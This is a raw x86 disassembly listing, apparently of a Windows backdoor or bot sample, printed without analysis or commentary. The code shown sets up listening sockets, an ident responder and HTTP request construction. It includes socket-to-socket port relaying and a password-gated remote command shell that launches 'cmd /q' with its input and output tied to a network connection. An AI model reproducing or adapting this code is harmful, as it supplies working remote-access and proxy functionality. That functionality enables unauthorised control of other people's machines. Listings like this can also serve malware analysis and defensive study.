[ebp+arg_4] jbe short loc_410A53 mov edi, [ebp+arg_4] loc_410A53: ; CODE XREF: sub_4109F1+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 2791072h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 27010AAh push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_410A9D call dword_4CB968 cmp eax, 2733h jnz short loc_410AA2 xor eax, eax loc_410A9D: ; CODE XREF: sub_4109F1+9Bj sub [ebp+arg_4], eax jnz short loc_410A36 loc_410AA2: ; CODE XREF: sub_4109F1+43j ; sub_4109F1+A8j push ebx nop call near ptr 2670000h loc_410AA9: ; CODE XREF: sub_4109F1+30j pop edi pop esi pop ebx leave retn sub_4109F1 endp ; =============== S U B R O U T I N E ======================================= sub_410AAE proc near ; CODE XREF: sub_4100B4+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_410AD7 loc_410AC1: ; CODE XREF: sub_410AAE+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410ACB mov byte ptr [esi+edi], 2Fh loc_410ACB: ; CODE XREF: sub_410AAE+17j push edi inc esi call sub_41B9C0 cmp esi, eax pop ecx jb short loc_410AC1 loc_410AD7: ; CODE XREF: sub_410AAE+11j mov eax, edi pop edi pop esi retn sub_410AAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410ADC proc near ; CODE XREF: sub_401ACD+51B7p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB944 push 6 push 1 push 2 call dword_4CBA54 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CB9D4 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A8F0 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz short loc_410BB9 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410B55 mov eax, offset byte_43DB88 loc_410B55: ; CODE XREF: sub_410ADC+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41C360 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CBA24 push esi lea eax, [ebp+var_110] push edi push eax call sub_41CD20 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CB9EC pop esi loc_410BB9: ; CODE XREF: sub_410ADC+6Bj push ebx call dword_4CBA6C call dword_4CB92C lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41C266 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410BF9 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_410BF9: ; CODE XREF: sub_410ADC+102j pop edi pop ebx leave retn sub_410ADC endp ; --------------------------------------------------------------------------- loc_410BFD: ; DATA XREF: ___:00401666o ; sub_401ACD+438Bo push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41BF70 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CB9D4 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410D61 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43E91C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CBA00 cmp eax, 0FFFFFFFFh jz loc_410D61 push 5 push ebx call dword_4CB9FC cmp eax, 0FFFFFFFFh jz loc_410D61 mov [ebp-0Ch], edi mov edi, 200h loc_410C88: ; CODE XREF: ___:00410CE7j ; ___:00410D4Aj ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CBA68 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_410D5C movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CBA60 push eax lea eax, [ebp-238h] push offset dword_435164 push eax call sub_41C266 lea eax, [ebp-238h] push eax call sub_415D38 add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_410C88 lea eax, [ebp-238h] push esi push eax call sub_4184CC push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41BF70 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40AE84 add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz loc_410C88 mov dword ptr [ebp-8], 1 jmp loc_410C88 ; --------------------------------------------------------------------------- loc_410D5C: ; CODE XREF: ___:00410C9Dj cmp [ebp-8], esi jnz short loc_410D88 loc_410D61: ; CODE XREF: ___:00410C44j ; ___:00410C68j ... call dword_4CB968 push eax lea eax, [ebp-238h] push offset dword_435120 push eax call sub_41C266 lea eax, [ebp-238h] push eax call sub_415D38 add esp, 10h loc_410D88: ; CODE XREF: ___:00410D5Fj push ebx call dword_4CBA6C push dword ptr [ebp-4] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push esi call near ptr 26F0000h nop pop edi pop esi pop ebx loc_410DAB: ; DATA XREF: sub_401ACD+605Do push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CB9D4 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CBA54 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410F17 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E91C[ecx], eax call dword_4CB8E4 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CBA00 test eax, eax jnz loc_410F17 push 0Ah push dword ptr [ebp+8] call dword_4CB9FC test eax, eax jnz loc_410F17 loc_410E5B: ; CODE XREF: ___:00410E71j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CBA68 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410E5B movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CBA60 push eax lea eax, [ebp-350h] push offset unk_4351CC push eax call sub_41C266 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B3BA mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43E914[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_410F3C push esi push esi nop ; --------------------------------------------------------------------------- db 0E8h dd 227F124h, 69C44D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 226FFBDh, 0E890EDEBh dd 227F9B0h, 51906850h, 99E80043h, 5900004Eh ; --------------------------------------------------------------------------- pop ecx jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F17: ; CODE XREF: ___:00410E0Ej ; ___:00410E42j ... mov edi, [ebp+8] loc_410F1A: ; CODE XREF: ___:00410F15j push edi call dword_4CBA6C push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-40h] call sub_40B6D6 pop ecx push esi call near ptr 26F0000h nop pop edi pop esi loc_410F3C: ; DATA XREF: ___:00410ECFo push ebp mov ebp, esp mov eax, 1344h call sub_41C500 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CBA54 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4110F2 push 10h lea eax, [ebp-18h] push edi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CB9D4 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CBA14 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_410FCC lea eax, [ebp-13Ch] push eax call dword_4CBA58 jmp short loc_410FDA ; --------------------------------------------------------------------------- loc_410FCC: ; CODE XREF: ___:00410FBBj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CB98C loc_410FDA: ; CODE XREF: ___:00410FCAj cmp eax, edi jz loc_4110F2 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_4110F2 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CBA60 push eax lea eax, [ebp-344h] push offset unk_435254 push eax call sub_41C266 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B3BA imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43E91C[ebx] mov dword_43E914[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E920[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_411123 push edi push edi call near ptr 2690000h nop mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_4110DF loc_41108C: ; CODE XREF: ___:00411099j cmp [ebp-20h], edi jnz short loc_41109B push 32h nop call near ptr 2680EBDh jmp short loc_41108C ; --------------------------------------------------------------------------- loc_41109B: ; CODE XREF: ___:0041108Fj mov ebx, 1000h loc_4110A0: ; CODE XREF: ___:004110DBj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CB9EC cmp eax, edi jle short loc_4110F2 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_4110A0 jmp short loc_4110F2 ; --------------------------------------------------------------------------- loc_4110DF: ; CODE XREF: ___:0041108Aj nop call near ptr 26908B8h push eax push offset unk_435214 call sub_415DAC pop ecx pop ecx loc_4110F2: ; CODE XREF: ___:00410F80j ; ___:00410FDCj ... mov eax, [ebp-4] imul eax, 234h push dword_43E91C[eax] call dword_4CBA6C push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-4] call sub_40B6D6 pop ecx push edi call near ptr 26F0000h nop pop edi pop esi pop ebx loc_411123: ; DATA XREF: ___:0041106Co push ebp mov ebp, esp mov eax, 1128h call sub_41C500 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41115A: ; CODE XREF: ___:0041119Fj push edi lea eax, [ebp-1128h] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43E920[esi] call dword_4CB9EC test eax, eax jle short loc_4111A1 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43E91C[esi] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short loc_41115A loc_4111A1: ; CODE XREF: ___:00411184j push dword_43E920[esi] call dword_4CBA6C push dword ptr [ebp-14h] call sub_40B6D6 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h, 42h, 0EEh dd 5E5F022Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43E91C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CB9BC test eax, eax jnz short loc_411244 push dword ptr [esi] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push edi call near ptr 26F0000h nop loc_411244: ; CODE XREF: ___:0041122Aj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CB9EC lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4113C5 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4113C5 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CB928 test eax, eax jz short loc_4112BD call dword_4CB968 push eax push offset unk_43532C call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 0Ch push edi call near ptr 26F0000h nop loc_4112BD: ; CODE XREF: ___:00411298j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CB98C cmp eax, edi jnz short loc_4112E7 push dword ptr [ebp-18h] call dword_4CBA60 push eax lea eax, [ebp-0B0h] push eax call sub_41C266 jmp short loc_4112F5 ; --------------------------------------------------------------------------- loc_4112E7: ; CODE XREF: ___:004112CDj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41C890 loc_4112F5: ; CODE XREF: ___:004112E5j pop ecx pop ecx push edi push ebx push offset byte_43DB88 push dword ptr [esi] call dword_4CBA24 cmp dword_4CE72C, edi jnz short loc_411357 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_41141F add esp, 10h test eax, eax jnz short loc_411357 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CBA24 push dword ptr [esi] call dword_4CBA6C push dword ptr [ebp+8] call sub_40B6D6 pop ecx push edi call near ptr 26F0000h nop loc_411357: ; CODE XREF: ___:0041130Cj ; ___:0041132Dj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4352F0 call sub_415DAC push dword ptr [ebp+8] call sub_4116D6 add esp, 10h test eax, eax jnz short loc_41139E nop call near ptr 26908B8h push eax push offset unk_4352C4 call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 0Ch push ebx call near ptr 26F0000h nop loc_41139E: ; CODE XREF: ___:00411379j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_435298 call sub_415DAC push dword ptr [ebp+8] call sub_40B6D6 add esp, 10h push edi nop call near ptr 26F0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113C5 proc near ; CODE XREF: ___:0041125Ap ; ___:00411267p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC cmp eax, 1 jnz short loc_411415 mov esi, [ebp+arg_4] loc_4113E3: ; CODE XREF: sub_4113C5+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_41140A test al, al jz short loc_411419 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB9EC cmp eax, 1 jz short loc_4113E3 jmp short loc_411415 ; --------------------------------------------------------------------------- loc_41140A: ; CODE XREF: sub_4113C5+27j push offset unk_435358 call sub_415DAC pop ecx loc_411415: ; CODE XREF: sub_4113C5+19j ; sub_4113C5+43j xor eax, eax jmp short loc_41141C ; --------------------------------------------------------------------------- loc_411419: ; CODE XREF: sub_4113C5+2Bj push 1 pop eax loc_41141C: ; CODE XREF: sub_4113C5+52j pop esi leave retn sub_4113C5 endp ; =============== S U B R O U T I N E ======================================= sub_41141F proc near ; CODE XREF: ___:00411323p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41144A push [esp+arg_4] push [esp+4+arg_0] push offset dword_435384 call sub_415DAC add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41144A: ; CODE XREF: sub_41141F+11j push 1 pop eax retn sub_41141F endp ; --------------------------------------------------------------------------- word_41144E dw 8B55h ; DATA XREF: sub_401ACD+237Ao dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 4CB944h, 0C63BF633h, 68501D74h dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh dd 0EB5AE857h, 5790022Dh, 4116CC68h, 0E9E89000h, 85023807h dd 902975C0h, 27F3FBE8h, 0B0685002h, 0E8004354h, 48E4h dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h dd 22DEB20h, 8D106A53h, 5056E045h, 0AA83E8h, 0CC48300h dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h dd 15FF5350h, 4CBA00h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh dd 4CB9FCh, 850FC085h, 103h, 43547468h, 0F045C700h, 0Ch dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h, 45C7FC45h dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 227E9E4h dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h dd 850FC875h, 0FFFFFF37h, 7EE8326Ah, 900226F8h, 71E8EDEBh dd 900227F2h, 53F46850h, 59E80043h, 59000047h, 8B03EB59h dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h, 57590000h dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h dd 13E8B475h, 59FFFFA0h, 35E89056h, 5B022DE9h, 4439C033h dd 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116D6 proc near ; CODE XREF: ___:0041136Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_411827 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E91C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_427084 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4119F9 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_411741 nop call near ptr 26908B8h push eax push offset unk_435554 call sub_415DAC or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41177B ; --------------------------------------------------------------------------- loc_411741: ; CODE XREF: sub_4116D6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411AAB lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_411782 call near ptr 26908B8h nop push eax push offset unk_435554 call sub_415DAC pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26A08EAh loc_41177B: ; CODE XREF: sub_4116D6+69j xor eax, eax jmp loc_411822 ; --------------------------------------------------------------------------- loc_411782: ; CODE XREF: sub_4116D6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 27A0000h sub eax, ebx jz short loc_4117DC dec eax jz short loc_4117D6 dec eax jz short loc_4117C2 nop call near ptr 26908B8h push eax push offset unk_435520 call sub_415DAC pop ecx pop ecx jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117C2: ; CODE XREF: sub_4116D6+D5j mov edi, dword_4270B4 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117D6: ; CODE XREF: sub_4116D6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4117E0 ; --------------------------------------------------------------------------- loc_4117DC: ; CODE XREF: sub_4116D6+CFj push ebx push dword ptr [esi+14h] loc_4117E0: ; CODE XREF: sub_4116D6+104j call near ptr 26A08EAh nop push 1 push dword ptr [esi+8] call near ptr 2720A65h nop loc_4117F1: ; CODE XREF: sub_4116D6+EAj ; sub_4116D6+FEj push dword ptr [esi+10h] mov edi, dword_427070 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CBA6C push esi call sub_41BA91 pop ecx push 1 pop eax loc_411822: ; CODE XREF: sub_4116D6+A7j pop edi pop esi pop ebx leave retn sub_4116D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411827 proc near ; CODE XREF: sub_4116D6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BEB5 mov esi, eax pop ecx cmp esi, edi jz loc_411911 mov ebx, dword_427108 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427070 test eax, eax jnz short loc_41188A nop call near ptr 26908B8h push eax push offset unk_435604 jmp short loc_4118AA ; --------------------------------------------------------------------------- loc_41188A: ; CODE XREF: sub_411827+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4118B2 nop call near ptr 26908B8h push eax push offset unk_4355C4 loc_4118AA: ; CODE XREF: sub_411827+61j call sub_415DAC pop ecx jmp short loc_4118E0 ; --------------------------------------------------------------------------- loc_4118B2: ; CODE XREF: sub_411827+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_411920 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_411915 push offset unk_43559C call sub_415D38 loc_4118E0: ; CODE XREF: sub_411827+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4118EC push [ebp+var_4] call edi loc_4118EC: ; CODE XREF: sub_411827+BEj cmp [ebp+var_8], 0 jz short loc_4118F7 push [ebp+var_8] call edi loc_4118F7: ; CODE XREF: sub_411827+C9j mov eax, [esi] test eax, eax jz short loc_411900 push eax call edi loc_411900: ; CODE XREF: sub_411827+D4j mov eax, [esi+4] test eax, eax jz short loc_41190A push eax call edi loc_41190A: ; CODE XREF: sub_411827+DEj push esi call sub_41BA91 pop ecx loc_411911: ; CODE XREF: sub_411827+1Dj xor eax, eax jmp short loc_41191B ; --------------------------------------------------------------------------- loc_411915: ; CODE XREF: sub_411827+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41191B: ; CODE XREF: sub_411827+ECj pop edi pop esi pop ebx leave retn sub_411827 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411920 proc near ; CODE XREF: sub_411827+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BF70 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_427104 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2730000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2670347h test eax, eax jz short loc_4119DC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E918[eax], ecx call near ptr 2670000h nop jmp short loc_4119F2 ; --------------------------------------------------------------------------- loc_4119DC: ; CODE XREF: sub_411920+9Aj call near ptr 26908B8h nop push eax push offset unk_435644 call sub_415DAC mov esi, [ebp+var_4] pop ecx pop ecx loc_4119F2: ; CODE XREF: sub_411920+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_411920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270EC push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411A22: ; CODE XREF: sub_4119F9+8Fj call ebx test eax, eax jz short loc_411A8A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411A5D loc_411A33: ; CODE XREF: sub_4119F9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411A4D cmp dl, 0Dh jz short loc_411A4D mov [ebp+eax+var_1B0], 0Dh inc eax loc_411A4D: ; CODE XREF: sub_4119F9+44j ; sub_4119F9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411A33 loc_411A5D: ; CODE XREF: sub_4119F9+38j 